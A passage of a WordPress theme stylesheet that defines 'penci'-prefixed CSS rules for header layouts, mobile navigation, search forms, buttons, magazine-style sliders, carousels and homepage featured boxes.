	.penci_navbar_mobile.mobile-sticky.hide-scroll-down.scrollup {
		display: none
	}
}
@media only screen and (max-width:960px) {
	.penci_builder_sticky_header_desktop,
	.penci_header.penci-header-builder.main-builder-header,
	.penci_header.penci_builder_sticky_header_desktop,
	.penci_header.penci_builder_sticky_header_desktop.sticky-apply {
		display: none !important
	}
}
.penci_header.penci-header-builder.penci_header_overlap {
	position: absolute;
	top: 0;
	right: 0;
	left: 0;
	z-index: 9996
}
@media only screen and (max-width:479px) {
	.penci_navbar_mobile .container {
		padding-left: 10px;
		padding-right: 10px
	}
}
.penci_navbar_mobile .navigation {
	border: 0
}
.penci_navbar_mobile .navigation .button-menu-mobile {
	display: block
}
.penci-header-builder.shadow-enable,
.penci_builder_sticky_header_desktop.shadow-enable,
.penci_navbar_mobile.mobile-sticky.shadow-enable {
	box-shadow: 0 1px 5px rgba(190, 190, 190, .46);
	-webkit-box-shadow: 0 1px 5px rgba(190, 190, 190, .46);
	-moz-box-shadow: 0 1px 5px rgba(190, 190, 190, .46);
	border-color: transparent;
	border-width: 0
}
.penci-builder.penci-builder-button,
[class^=pc-button-define-style-] {
	display: inline-block;
	transition: .3s all ease-in-out;
	border-style: solid;
	border-width: 0
}
.pc-button-define-style-1,
.penci-builder.penci-builder-button.button-define-style-1,
.top-search-classes>.pc-button-define-style-1 {
	padding: 10px;
	border: 2px solid var(--pcaccent-cl);
	color: var(--pcaccent-cl)
}
.penci-builder.penci-builder-button.button-define-style-1 {
	padding: 5px 15px
}
.penci-top-search.pc-builder-element {
	width: auto
}
.penci-top-search.pc-builder-element .penci-search-form form.penci-ajax-search {
	display: block
}
.pc-button-define-style-2,
.penci-builder.penci-builder-button.button-define-style-2,
.top-search-classes>.pc-button-define-style-2 {
	color: var(--pcaccent-cl);
	border-bottom: 1px solid var(--pcaccent-cl);
	padding: 0 0 4px;
	padding-top: 0 !important;
	background-color: transparent !important
}
.pc-button-define-style-3,
.penci-builder.penci-builder-button.button-define-style-3,
.top-search-classes>.pc-button-define-style-3 {
	padding: 10px;
	background-color: #f2f2f2;
	color: var(--pcheading-cl);
	border-bottom: 2px solid #dedede
}
.penci-builder.penci-builder-button.button-define-style-3 {
	padding: 7px 15px
}
.pc-button-define-style-4,
.penci-builder.penci-builder-button.button-define-style-4,
.top-search-classes>.pc-button-define-style-4 {
	padding: 10px;
	background-color: #f2f2f2;
	color: var(--pcheading-cl)
}
.penci-builder.penci-builder-button.button-define-style-4 {
	padding: 7px 12px
}
.penci-builder.penci-builder-button.button-shape-rectangle {
	border-radius: 0
}
.penci-builder.penci-builder-button.button-shape-circle {
	border-radius: 400px
}
.penci-builder.penci-builder-button.button-shape-round {
	border-radius: 10px
}
.pb-header-builder.cart-icon:not(.pc-button-define-customize) .top-search-classes.shoping-cart-icon {
	margin-right: 0;
	margin-left: 0
}
.top-search-classes.penci-builder-element,
.top-search-classes.penci-builder-elements {
	width: auto
}
.penci_navbar_mobile .navigation.mobile-menu {
	width: auto;
	float: none
}
.penci-builder-mobile-sidebar-nav {
	position: fixed;
	top: 0;
	height: 100%;
	z-index: 100001;
	width: 330px;
	overflow-y: auto;
	padding: 30px 20px 20px;
	background: #fff;
	left: 0;
	transition: all .5s;
	-webkit-transition: all .5s;
	-moz-transition: all .5s;
	transform: translateX(-330px);
	-webkit-transform: translateX(-330px);
	-moz-transform: translateX(-330px)
}
.open-mobile-builder-sidebar-nav .penci-builder-mobile-sidebar-nav {
	left: 330px
}
.penci-builder-mobile-sidebar-nav.mpos-right {
	left: auto;
	right: 0;
	transform: translateX(330px);
	-webkit-transform: translateX(330px);
	-moz-transform: translateX(330px)
}
.open-mobile-builder-sidebar-nav .penci-builder-mobile-sidebar-nav.mpos-right {
	right: 330px;
	left: auto
}
.close-mobile-menu-builder {
	position: fixed;
	visibility: hidden;
	opacity: 0;
	text-decoration: none;
	top: 0;
	left: 0;
	font-size: 1.4em;
	color: #313131;
	padding: 10px;
	height: 100%;
	background: rgba(0, 0, 0, .8);
	right: 0;
	z-index: 100000;
	cursor: pointer;
	transition: all .5s;
	-webkit-transition: all .5s;
	-moz-transition: all .5s
}
.close-mobile-menu-builder.mpos-right {
	left: auto;
	right: 0
}
.close-mobile-menu-builder i {
	display: inline-block;
	width: 24px;
	height: 24px;
	background-color: #fff;
	line-height: 24px;
	text-align: center;
	border-radius: 12px;
	font-size: 14px
}
.open-mobile-builder-sidebar-nav .close-mobile-menu-builder {
	left: 330px;
	opacity: 1;
	visibility: visible
}
.close-mobile-menu-builder.mpos-right {
	right: 0;
	left: 0;
	text-align: right
}
.open-mobile-builder-sidebar-nav .close-mobile-menu-builder.mpos-right {
	right: 330px;
	left: 0
}
.pc-builder-menu.pc-dropdown-menu {
	--pchb-dd-fn: var(--pchead-font);
	--pchb-dd-fw: var(--pchead-wei);
	--pchb-dd-lv1:13px;
	--pchb-dd-lv2:13px;
	--pchb-dd-tt: uppercase
}
.pc-builder-menu.pc-dropdown-menu .menu li a {
	font-family: var(--pchb-dd-fn);
	font-weight: var(--pchb-dd-fw);
	font-size: var(--pchb-dd-lv1);
	text-transform: var(--pchb-dd-tt)
}
.pc-builder-menu.pc-dropdown-menu .menu li li a {
	font-size: var(--pchb-dd-lv2)
}
.penci_navbar_mobile.mobile-sticky {
	position: fixed;
	top: 0;
	left: 0;
	right: 0;
	z-index: 9999;
	transition: visibility .1s ease, opacity .1s ease, transform .3s ease;
	background-color: var(--pcbg-cl)
}
.penci_navbar_mobile.mobile-sticky .penci_container {
	display: none;
	transition: .3s all ease-in-out
}
.penci_navbar_mobile.mobile-sticky .penci_container.sticky-enable {
	display: block;
	opacity: 1
}
.pc-header-element.pc-login-register {
	position: relative
}
.widget .pc-widget-searchform button[type=submit] {
	width: auto
}
.widget .pc-widget-searchform.search-style-default button[type=submit] {
	display: none
}
.penci-builder-element.pc-search-form {
	max-width: 300px;
	width: 100%
}
.pcwg-widget.penci-builder-element.pc-search-form,
.penci-builder-element.pc-search-form-sidebar {
	max-width: 100%;
	width: 100%
}
.pc-search-form.search-style-icon-button,
.pc-search-form.search-style-text-button {
	position: relative
}
.pc-search-form.search-style-icon-button .search-input,
.pc-search-form.search-style-text-button .search-input {
	line-height: 36px;
	padding-top: 0;
	padding-bottom: 0;
	padding-right: 20px;
	border-right-width: 0
}
.penci-builder-element.pc-search-form-desktop {
	--pcs-d-txt-cl: var(--pctext-cl)
}
.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input {
	color: var(--pcs-d-txt-cl)
}
.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input::placeholder {
	color: var(--pcs-d-txt-cl)
}
.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input:-ms-input-placeholder {
	color: var(--pcs-d-txt-cl)
}
.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input::-ms-input-placeholder {
	color: var(--pcs-d-txt-cl)
}
.penci-builder-element.pc-search-form-sidebar {
	--pcs-s-txt-cl: var(--pctext-cl)
}
.penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input {
	color: var(--pcs-s-txt-cl)
}
.penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input::placeholder {
	color: var(--pcs-s-txt-cl)
}
.penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input:-ms-input-placeholder {
	color: var(--pcs-s-txt-cl)
}
.penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input::-ms-input-placeholder {
	color: var(--pcs-s-txt-cl)
}
.pc-search-form.search-style-icon-button .searchsubmit,
.pc-search-form.search-style-text-button .searchsubmit {
	display: block;
	height: 100%;
	padding: 0 15px;
	background-color: var(--pcaccent-cl);
	font-weight: var(--pchead-wei);
	font-family: var(--pchead-font);
	color: #fff;
	border: 0;
	transition: .3s all ease-in-out;
	position: absolute;
	top: 0;
	right: 0;
	z-index: 9;
	cursor: pointer
}
.pc-wrapbuilder-header .pc-search-form.search-style-text-button .searchsubmit {
	text-transform: uppercase
}
body.rtl .pc-search-form.search-style-icon-button .searchsubmit,
body.rtl .pc-search-form.search-style-text-button .searchsubmit {
	right: auto;
	left: 0
}
.pc-search-form.search-style-text-button .search-input {
	padding-right: 100px
}
body.rtl .pc-search-form.search-style-text-button .search-input {
	padding-right: 20px;
	padding-left: 100px;
	border-right-width: 1px;
	border-left-width: 0
}
.pc-search-form.search-style-icon-button .search-input {
	padding-right: 66px
}
body.rtl .pc-search-form.search-style-text-button .search-input {
	padding-left: 66px;
	padding-right: 20px;
	border-right-width: 1px;
	border-left-width: 0
}
.pc-search-form.search-style-icon-button .searchsubmit {
	font-size: 0;
	line-height: 0
}
.pc-search-form.search-style-icon-button .searchsubmit:before {
	font-size: 16px;
	line-height: 38px;
	content: "\f108";
	font-family: penciicon, serif;
	font-style: normal;
	font-weight: 400;
	font-variant: normal;
	text-transform: none;
	-moz-osx-font-smoothing: grayscale
}
.pc-search-form.search-style-icon-button .penciicon-magnifiying-glass,
.pc-search-form.search-style-text-button .penciicon-magnifiying-glass {
	display: none
}
.penci-header-block {
	width: 100%
}
.pc-header-element.penci-topbar-social a,
.pc-header-element.penci-topbar-social-mobile a {
	color: inherit
}
.pc-header-element.penci-topbar-social .pclogin-item>a,
.pc-header-element.penci-topbar-social-mobile .pclogin-item>a {
	line-height: unset;
	display: inline-flex;
	align-items: center;
	justify-content: center
}
.pc-header-element.penci-topbar-social .pclogin-item>a img,
.pc-header-element.penci-topbar-social-mobile .pclogin-item>a img {
	top: auto
}
.pc-header-element .pctopbar-login-btn .pclogin-sub li a {
	color: #fff
}
.pc-header-element .pctopbar-login-btn .pclogin-sub {
	top: 100%
}
.pc-header-element .pctopbar-login-btn .pclogin-sub li a:hover {
	color: var(--pcaccent-cl)
}
.penci_nav_col {
	display: flex;
	align-items: center;
	flex-direction: row;
	padding-left: 10px;
	padding-right: 10px
}
.penci_nav_col.penci_nav_flexcolumn {
	flex-direction: column;
	align-items: initial;
}
.penci_nav_col.penci_nav_flexcolumn.penci_nav_alignleft {
	align-items: flex-start;
}
.penci_nav_col.penci_nav_flexcolumn.penci_nav_aligncenter {
	align-items: center;
}
.penci_nav_col.penci_nav_flexcolumn.penci_nav_alignright {
	align-items: flex-end;
}
.penci_nav_col.penci_content_columns {
	flex-direction: column
}
.penci_nav_col>:not(:first-child) {
	margin-left: 10px
}
.penci-header-builder .pcheader-icon>a,
.penci-header-builder .penci-menuhbg-toggle,
.penci-header-builder .top-search-classes a.cart-contents,
.penci-header-builder .top-search-classes>a {
	height: auto;
	line-height: unset
}
.header-search-style-showup .penci-header-builder .show-search,
.header-search-style-showup .penci_navbar_mobile .show-search {
	top: calc(100% + 10px)
}
.header-search-style-showup .penci_nav_left .show-search {
	left: 0;
	right: auto
}
.header-search-style-showup .penci_nav_left .show-search:before {
	left: 5px;
	right: auto
}
.container.container-custom {
	margin-left: auto;
	margin-right: auto
}
.admin-bar .penci-builder-mobile-sidebar-nav.penci-menu-hbg {
	padding-top: 30px
}
.penci-builder-item-wrap>div:not(:last-child) {
	margin-bottom: 20px
}
.penci-header-builder.pchb-boxed-layout.container-1400 .container,
.penci-header-builder.pchb-boxed-layout.container-custom .container,
.penci-header-builder.pchb-boxed-layout.container-fullwidth .container,
.penci-header-builder.pchb-boxed-layout.container-normal .container {
	max-width: 100%
}
.penci-header-builder.pchb-boxed-layout.container-1400,
.penci-header-builder.pchb-boxed-layout.container-custom,
.penci-header-builder.pchb-boxed-layout.container-fullwidth,
.penci-header-builder.pchb-boxed-layout.container-normal {
	width: 100%;
	padding-left: 0;
	padding-right: 0
}
.penci-header-builder.pchb-boxed-layout.container-normal {
	max-width: var(--pcctain)
}
.penci-header-builder.pchb-boxed-layout.container-fullwidth {
	max-width: 100%
}
.penci-header-builder.pchb-boxed-layout.container-1400 {
	max-width: var(--pcctain2)
}
.pc-builder-element .pc-logo img,
.pc-builder-element.pc-logo img {
	max-height: 60px
}
.penci-disable-uppercase {
	text-transform: none !important
}
.penci-enable-uppercase {
	text-transform: uppercase !important
}
.penci-header-builder .pc-builder-element.penci-menuhbg-wapper {
	width: auto
}
.penci-elhb-hbg.penci-menuhbg-wapper {
	width: auto;
	float: none;
	margin: 0;
}
.penci-menuhbg-toggle.builder {
	--pcbd-menuhbg-size: 18px;
	height: auto
}
.penci-menuhbg-toggle.builder {
	width: var(--pcbd-menuhbg-size)
}
.penci-menuhbg-toggle.builder .penci-menuhbg-inner {
	height: var(--pcbd-menuhbg-size)
}
.penci-menuhbg-toggle.builder .penci-lines,
.penci-menuhbg-wapper {
	width: var(--pcbd-menuhbg-size)
}
.penci-menuhbg-toggle.builder .lines-button {
	top: calc((var(--pcbd-menuhbg-size) - 2px)/ 2)
}
.penci-menuhbg-toggle.builder .penci-lines:before {
	top: calc(var(--pcbd-menuhbg-size)/ 2 - 4px)
}
.penci-menuhbg-toggle.builder .penci-lines:after {
	top: calc((var(--pcbd-menuhbg-size)/ 2 - 4px) * -1)
}
.penci-menuhbg-toggle.builder:hover .lines-button:after,
.penci-menuhbg-toggle.builder:hover .penci-lines:after,
.penci-menuhbg-toggle.builder:hover .penci-lines:before {
	transform: translateX(calc(var(--pcbd-menuhbg-size) + 10px))
}
.penci-menuhbg-toggle.builder .lines-button.penci-hover-effect {
	left: calc((var(--pcbd-menuhbg-size) + 10px) * -1)
}
.pc-wrapbuilder-header {
	--pchd-sinput-txt: var(--pctext-cl)
}
.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input {
	color: var(--pchd-sinput-txt)
}
.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input::placeholder {
	color: var(--pchd-sinput-txt);
	opacity: 1
}
.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input:-ms-input-placeholder {
	color: var(--pchd-sinput-txt)
}
.header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input::-ms-input-placeholder {
	color: var(--pchd-sinput-txt)
}
#penci-featured-video-bg {
	height: 600px
}
.overlay-video-click,
.penci-video-bg-overlay,
.penci-video-overlay-background {
	position: absolute;
	z-index: 5;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	background-repeat: no-repeat;
	background-size: cover;
	background-position: center center;
	display: none
}
.overlay-video-click {
	display: block;
	z-index: 20
}
.penci-placeholder-videobg,
.penci-video-bg-overlay {
	z-index: 2;
	display: block
}
.penci-video-overlay {
	position: absolute;
	top: 50%;
	transform: translateY(-50%);
	-webkit-transform: translateY(-50%);
	-moz-transform: translateY(-50%);
	text-align: center;
	left: 20px;
	right: 20px;
	z-index: 10
}
.penci-video-custom-img,
h2.penci-heading-video,
p.penci-sub-heading-video {
	opacity: 0;
	-webkit-animation-fill-mode: both;
	-moz-animation-fill-mode: both;
	-ms-animation-fill-mode: both;
	-o-animation-fill-mode: both;
	animation-fill-mode: both;
	-webkit-animation-duration: 1s;
	-moz-animation-duration: 1s;
	-ms-animation-duration: 1s;
	-o-animation-duration: 1s;
	animation-duration: 1s;
	-webkit-animation-delay: 1.5s;
	-moz-animation-delay: 1.5s;
	-o-animation-delay: 1.5s;
	animation-delay: 1.5s
}
.penci-video-custom-img {
	margin: 0 0 24px 0
}
.penci-video-custom-img.no-margin-bottom {
	margin: 0
}
h2.penci-heading-video {
	color: #fff;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	font-size: 30px;
	line-height: 1.2em;
	text-transform: uppercase;
	margin: 0;
	-webkit-animation-delay: 1.8s;
	-moz-animation-delay: 1.8s;
	-o-animation-delay: 1.8s;
	animation-delay: 1.8s
}
p.penci-sub-heading-video {
	font-size: 16px;
	line-height: 1.3em;
	margin: 15px 0 0;
	font-style: italic;
	color: #fff;
	-webkit-animation-delay: 2.1s;
	-moz-animation-delay: 2.1s;
	-o-animation-delay: 2.1s;
	animation-delay: 2.1s
}
.featured-area.loaded-animation .penci-video-custom-img,
.featured-area.loaded-animation h2.penci-heading-video,
.featured-area.loaded-animation p.penci-sub-heading-video {
	-webkit-animation-name: pencifadeInUp;
	-moz-animation-name: pencifadeInUp;
	-o-animation-name: pencifadeInUp;
	animation-name: pencifadeInUp
}
.featured-area.magazine-slider {
	width: var(--pcctain);
	margin-left: auto;
	margin-right: auto
}
.penci-magazine-slider.penci-loading {
	background: #fafafa url(images/loading.gif) no-repeat center center;
	min-height: 506px
}
.featured-area.loaded-wait .penci-magazine-slider.penci-loading {
	background: 0 0;
	min-height: 0 !important
}
.penci-magazine-slider {
	margin: 0;
	padding: 0;
	position: relative
}
.penci-magazine-slider .penci-mag-item {
	display: none
}
.penci-magazine-slider ul.mag-wrap {
	list-style: none;
	margin: 0;
	display: inline-block;
	width: 100%;
	vertical-align: top;
	bottom: 0;
	left: 0
}
.penci-magazine-slider ul.mag-wrap li {
	overflow: hidden;
	display: block;
	float: left;
	position: relative;
	width: 380px;
	height: 253px
}
.penci-magazine-slider ul.mag-wrap li.mag-item-1 {
	width: 790px;
	height: 506px;
	border-right: 10px solid transparent
}
.penci-magazine-slider ul.mag-wrap li.mag-item-2 {
	border-bottom: 10px solid transparent
}
.penci-magazine-slider .mag-meta {
	position: absolute;
	padding: 20px;
	width: 100%;
	z-index: 10;
	left: 0;
	bottom: 0
}
.penci-magazine-slider .mag-item-1 .mag-meta {
	padding: 30px
}
.penci-magazine-slider .mag-cat {
	margin-bottom: 4px
}
.penci-magazine-slider .mag-cat a.penci-cat-name {
	border-color: #fff;
	color: #fff
}
.penci-magazine-slider .mag-cat a.penci-cat-name:after {
	border-color: #fff
}
.penci-magazine-slider .mag-cat a.penci-cat-name:hover {
	text-decoration: none;
	color: var(--pcaccent-cl)
}
.penci-magazine-slider .mag-meta h3 {
	line-height: 1.3
}
.penci-magazine-slider .mag-meta h3 a {
	color: #fff;
	font-size: 16px;
	text-transform: uppercase;
	letter-spacing: 0
}
.penci-magazine-slider .mag-item-1 .mag-meta h3 a {
	font-size: 24px
}
.penci-magazine-slider .mag-meta-child {
	margin-top: 6px
}
.penci-magazine-slider .mag-item-1 .mag-meta-child {
	margin-top: 7px
}
.penci-magazine-slider .mag-meta-child span {
	color: #fff;
	font-size: 12px
}
.penci-magazine-slider .mag-item-1 .mag-meta-child span {
	font-size: 14px
}
.penci-magazine-slider .mag-meta-child span:after {
	content: "";
	display: inline-block;
	margin: 0 7px 0 10px;
	width: 0;
	height: 8px;
	border-left: 1px solid #fff;
	opacity: .5
}
.penci-magazine-slider .mag-item-1 .mag-meta-child span:after {
	margin: 0 8px 0 12px;
	height: 10px
}
.penci-magazine-slider .mag-meta-child span:last-child:after {
	content: none;
	display: none
}
.penci-magazine-slider .penci-direction-nav a {
	position: absolute;
	width: 36px;
	height: 36px;
	display: inline-block;
	top: 50%;
	margin-top: -18px;
	font-size: 20px;
	cursor: pointer;
	outline: 0;
	opacity: 0;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	text-align: center;
	line-height: 36px;
	background: #fff;
	z-index: 12;
	border-radius: 100%;
	-webkit-border-radius: 100%;
	-moz-border-radius: 100%;
	color: #313131;
	border: none
}
.penci-magazine-slider .penci-direction-nav a.penci-prev {
	left: 30px
}
.penci-magazine-slider .penci-direction-nav a.penci-next {
	right: 30px
}
.penci-magazine-slider:hover .penci-direction-nav a {
	opacity: 1
}
.penci-magazine-slider .penci-direction-nav a:hover {
	background: var(--pcaccent-cl);
	color: #fff
}
.penci-magazine-slider .penci-direction-nav a:before {
	content: none;
	display: none
}
.penci-magazine-slider .mag-overlay {
	background: #000;
	opacity: .6;
	position: absolute;
	left: 0;
	right: 0;
	width: 100%;
	height: 100%;
	z-index: 2;
	background: -moz-linear-gradient(top, transparent 0, #000 100%);
	background: -webkit-linear-gradient(top, transparent 0, #000 100%);
	background: -o-linear-gradient(top, transparent 0, #000 100%);
	background: -ms-linear-gradient(top, transparent 0, #000 100%);
	background: linear-gradient(to bottom, transparent 0, #000 100%);
	-webkit-transition: opacity .4s ease 0s;
	-moz-transition: opacity .4s ease 0s;
	-o-transition: opacity .4s ease 0s;
	transition: opacity .4s ease 0s
}
.penci-magazine-slider ul.mag-wrap .mag-content:hover .mag-overlay {
	opacity: .8
}
.penci-magazine-slider.penci-mag3-slider.penci-loading {
	min-height: 387px
}
.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-1,
.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-2 {
	border: none
}
.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li,
.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-1 {
	width: 287px;
	height: auto
}
.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-1 .mag-content,
.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-3 .mag-content {
	height: 191px;
	position: relative
}
.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-2 .mag-content {
	height: 387px;
	position: relative
}
.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-2 {
	width: 586px
}
.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-2 {
	margin: 0 5px
}
.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-1 .mag-content:first-child,
.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-3 .mag-content:first-child {
	margin-bottom: 5px
}
.penci-magazine-slider ul.mag-wrap li .mag-content .mag-img,
.penci-magazine-slider.penci-mag1-slider ul.mag-wrap li .mag-content {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 1;
	width: 100%;
	background-repeat: no-repeat;
	background-position: center center;
	background-size: cover;
	-webkit-background-size: cover;
	-moz-background-size: cover;
	-o-background-size: cover
}
.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li .mag-content h3 a {
	font-size: 14px;
	letter-spacing: 0
}
.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-2 .mag-content h3 {
	text-align: center
}
.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-2 .mag-content h3 a {
	font-size: 16px
}
.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li .mag-content .mag-meta {
	padding: 10px;
	width: 100%
}
.penci-magazine-slider.penci-mag3-slider .mag-cat {
	text-align: center
}
.penci-mag2-carousel {
	overflow: hidden
}
.featured-area.magazine-slider-2 {
	height: 463px;
	overflow: hidden
}
.featured-area.magazine-slider-2.loaded-wait {
	height: auto;
	overflow: visible
}
.penci-mag2-carousel .mag2-item {
	display: block;
	float: left;
	margin: 0 1px 0 0;
	width: 700px;
	height: 463px;
	position: relative
}
.penci-mag2-carousel .penci-mag2-carousel-content>.mag2-item {
	margin-right: 1px !important
}
.penci-mag2-carousel .mag2-item.mag2-even {
	width: 346px
}
.penci-mag2-carousel .mag2-item .mag2-item {
	width: 346px;
	height: 231px;
	margin: 0;
	position: relative
}
.penci-mag2-carousel .mag2-item>.mag2-item:first-child {
	margin-bottom: 1px
}
.mag2-thumbnail,
.mag2-thumbnail .mag-img {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 1;
	background-repeat: no-repeat;
	background-position: center center;
	background-size: cover;
	-webkit-background-size: cover;
	-moz-background-size: cover;
	-o-background-size: cover
}
.mag2slider-overlay {
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%
}
.mag2slider-overlay i {
	display: block;
	width: 50px;
	height: 50px;
	position: absolute;
	top: 50%;
	left: 50%;
	margin: -25px 0 0 -25px;
	border-radius: 50%;
	background: 0 0;
	text-align: center;
	font: 14px/40px FontAwesome;
	color: rgba(255, 255, 255, .9);
	border-radius: 50%;
	-webkit-border-radius: 50%;
	-moz-border-radius: 50%;
	transition: opacity .3s;
	-webkit-transition: opacity .3s;
	-moz-transition: opacity .3s;
	border: 2px solid rgba(255, 255, 255, .9);
	opacity: 0;
	font-size: 18px;
	z-index: 3;
	line-height: 48px
}
.mag2slider-overlay i.fa-play:before {
	margin-left: 2px
}
.mag2slider-overlay i.fa-music:before {
	margin-right: 2px
}
.penci-mag2-carousel .mag2-item .mag2-item .mag2slider-overlay i {
	width: 44px;
	height: 44px;
	line-height: 40px;
	font-size: 17px;
	margin: -22px 0 0 -22px
}
.mag2slider-overlay:after {
	background: #000;
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	z-index: 1;
	transition: opacity .3s;
	-webkit-transition: opacity .3s;
	-moz-transition: opacity .3s;
	opacity: .05;
	content: ""
}
.mag2-thumbnail:hover .mag2slider-overlay i {
	opacity: 1
}
.mag2-thumbnail:hover .mag2slider-overlay:after {
	opacity: .7
}
.penci-mag2-carousel .mag2-header {
	position: absolute;
	padding: 17px 20px;
	width: 100%;
	z-index: 8;
	left: 0;
	bottom: 0;
	text-align: center
}
.penci-mag2-carousel .mag2-item .mag2-item .mag2-header {
	padding: 17px 20px !important
}
.penci-mag2-carousel .mag2-header h3 a {
	font-size: 24px;
	text-transform: uppercase;
	color: #fff
}
.penci-mag2-carousel .mag2-item .mag2-item .mag2-header {
	text-align: left
}
.penci-mag2-carousel .mag2-item .mag2-item .mag2-header h3 a {
	font-size: 16px;
	letter-spacing: 0
}
.penci-mag2-carousel .cat>a.penci-cat-name {
	color: #fff
}
.penci-mag2-carousel .cat>a.penci-cat-name:after {
	border-color: #fff
}
@media only screen and (min-width:779px) {
	.penci-mag2-carousel .mag2-thumbnail img {
		transform: none !important;
		-webkit-transform: none !important
	}
	.penci-mag2-carousel .mag2-header {
		width: 100% !important
	}
}
@media only screen and (max-width:778px) {
	.mag2slider-overlay i {
		display: none
	}
	.penci-mag2-carousel .cat.mag-cat {
		display: none
	}
	.penci-mag2-carousel .mag2-header h3 a {
		font-size: 18px
	}
	.penci-mag2-carousel .mag2-header {
		padding-right: 15px;
		text-align: left
	}
}
.container.home-featured-boxes {
	display: table;
	margin-top: calc(30px - var(--pchd-mg));
	margin-bottom: 30px
}
.container.home-featured-boxes-vc {
	width: 100%
}
.home-featured-boxes .penci-image-holder:before {
	padding-top: 66.75%
}
@media only screen and (min-width:961px) {
	.boxes-size-horizontal .homepage-featured-boxes.boxes-4-columns .penci-image-holder:before {
		padding-top: 70.37%
	}
}
.home-featured-boxes.boxes-size-square .penci-image-holder:before {
	padding-top: 100%
}
.home-featured-boxes.boxes-size-vertical .penci-image-holder:before {
	padding-top: 135.4%
}
.home-featured-boxes-vc {
	overflow: hidden
}
ul.homepage-featured-boxes {
	list-style: none;
	margin-left: -15px;
	margin-right: -15px;
	padding: 0 !important
}
.post-entry ul.homepage-featured-boxes li,
ul.homepage-featured-boxes li {
	width: 33.3333%;
	float: left;
	display: inline-block;
	padding: 0 15px;
	margin-bottom: 30px
}
ul.homepage-featured-boxes li .penci-fea-in {
	position: relative;
	overflow: hidden
}
ul.homepage-featured-boxes li .penci-fea-in:after,
ul.homepage-featured-boxes li .penci-fea-in:before {
	position: absolute;
	left: 5px;
	right: 5px;
	top: 5px;
	bottom: 5px;
	content: "";
	opacity: 0;
	-webkit-transition: opacity .3s, -webkit-transform .4s;
	transition: opacity .3s, transform .4s;
	z-index: 5
}
ul.homepage-featured-boxes li .penci-fea-in.boxes-style-2:after,
ul.homepage-featured-boxes li .penci-fea-in.boxes-style-2:before {
	content: none !important;
	display: none !important
}
ul.homepage-featured-boxes li .penci-fea-in:before {
	border-top: 1px solid #fff;
	border-bottom: 1px solid #fff;
	-webkit-transform: scale(0, 1);
	transform: scale(0, 1)
}
ul.homepage-featured-boxes li .penci-fea-in:after {
	border-right: 1px solid #fff;
	border-left: 1px solid #fff;
	-webkit-transform: scale(1, 0);
	transform: scale(1, 0)
}
ul.homepage-featured-boxes li .penci-fea-in:hover:after,
ul.homepage-featured-boxes li .penci-fea-in:hover:before {
	opacity: 1;
	-webkit-transform: scale(1);
	transform: scale(1)
}
ul.homepage-featured-boxes .penci-fea-in .fea-box-img {
	position: static;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	display: block;
	z-index: 1;
	background-size: cover;
	background-repeat: no-repeat;
	background-position: center center
}
ul.homepage-featured-boxes .penci-fea-in .fea-box-img:after {
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	position: absolute;
	z-index: 2;
	content: "";
	background: #000;
	transition: opacity .25s;
	-webkit-transition: opacity .25s;
	-moz-transition: opacity .25s;
	opacity: 0
}
ul.homepage-featured-boxes .penci-fea-in:hover .fea-box-img:after {
	opacity: .3
}
ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 .fea-box-img {
	right: 0;
	bottom: 0
}
ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 .fea-box-img:after {
	content: none !important;
	display: none !important
}
ul.homepage-featured-boxes .penci-fea-in h4 {
	position: absolute;
	width: 100%;
	left: 0;
	top: 50%;
	text-align: center;
	z-index: 5;
	font-style: italic;
	letter-spacing: 0;
	font-family: var(--pcbody-font);
	font-weight: 400;
	padding: 5px 20px;
	margin-top: -25px
}
ul.homepage-featured-boxes .penci-fea-in h4>span {
	display: inline-block;
	position: relative
}
ul.homepage-featured-boxes .penci-fea-in h4 span span {
	display: inline-block;
	background: #fff;
	color: #313131;
	padding: 0 15px;
	position: relative;
	min-width: 120px;
	height: 40px;
	line-height: 40px;
	white-space: nowrap;
	-webkit-transition: all .3s ease 0s;
	-moz-transition: all .3s ease 0s;
	-o-transition: all .3s ease 0s;
	transition: all .3s ease 0s;
	font-style: normal;
	font-size: 14px;
	font-weight: 400
}
ul.homepage-featured-boxes .penci-fea-in h4 span span:before {
	top: -5px;
	left: -5px;
	right: -5px;
	bottom: -5px;
	content: "";
	display: block;
	background: 0 0;
	position: absolute;
	border: 1px solid #fff
}
